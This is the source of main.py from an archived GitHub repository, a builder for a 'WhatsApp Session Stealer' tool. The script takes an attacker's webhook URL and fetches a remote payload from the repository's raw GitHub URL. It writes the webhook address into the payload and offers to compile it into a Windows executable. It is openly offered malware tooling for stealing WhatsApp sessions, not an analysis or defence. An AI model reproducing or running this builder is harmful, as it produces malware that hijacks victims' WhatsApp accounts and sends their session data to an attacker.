This repository has been archived by the owner on Jun 10, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathmain.py
65 lines (53 loc) · 2.16 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from colorama import Fore
import time
import os
import shutil
import ctypes
import requests
from pystyle import Colors, Colorate, Write, Center, Box
os.system('cls')
ctypes.windll.kernel32.SetConsoleTitleW("WhatsApp Session Stealer | by xpierroz")
banner = """
╦ ╦╔═╗
║║║╠═╣
╚╩╝╩ ╩
╔═╗┌┬┐┌─┐┌─┐┬ ┌─┐┬─┐
╚═╗ │ ├┤ ├─┤│ ├┤ ├┬┘
╚═╝ ┴ └─┘┴ ┴┴─┘└─┘┴└─
"""
def _exit():
print("\n")
Write.Print(f" .$ Exiting program | Please star the repo my g", Colors.yellow_to_red, interval=0.05)
time.sleep(3)
quit()
def _compile():
print("\n")
line = f'pyinstaller --onefile whatsapp.pyw'
icox = Write.Input(" .$ Enter icon path (type N for none) -> ", Colors.green_to_blue, interval=0.025)
if icox != "N":
line += f"--icon={icox}"
Write.Print(f" .$ Compiling to exe ...", Colors.green_to_yellow, interval=0.05)
os.system('echo off')
print(Fore.BLACK)
os.system(line)
#os.system('cls')
print(Colorate.Horizontal(Colors.rainbow, " .$ Successfuly Compiled", 1))
_exit()
def main():
os.system("cls")
print("\n") # Formatting stuff
print(Colorate.Horizontal(Colors.green_to_blue, Center.XCenter(banner), 1))
print(Colorate.Horizontal(Colors.green_to_blue, Box.Lines("made by github.com/xpierroz")))
print("\n")
wbh_url = Write.Input(" .$ Enter your WebHook url -> ", Colors.green_to_blue, interval=0.025)
Write.Print(f" .$ Fetching payload ...", Colors.green_to_yellow, interval=0.05)
payload = requests.get("https://raw.githubusercontent.com/xpierroz/whatsappstealer/master/payload.py").text
with open("whatsapp.pyw", "w") as f:
f.write(payload.replace('WEBHOOK = "xpierroz on top"', f'WEBHOOK = "{wbh_url}"'))
Write.Print(f"\n .$ Payload fetched !", Colors.green_to_cyan, interval=0.05)
compiling = Write.Input("\n .$ Compile to exe [Y/N] -> ", Colors.green_to_blue, interval=0.025)
if compiling == "Y":
_compile()
else:
_exit()
main()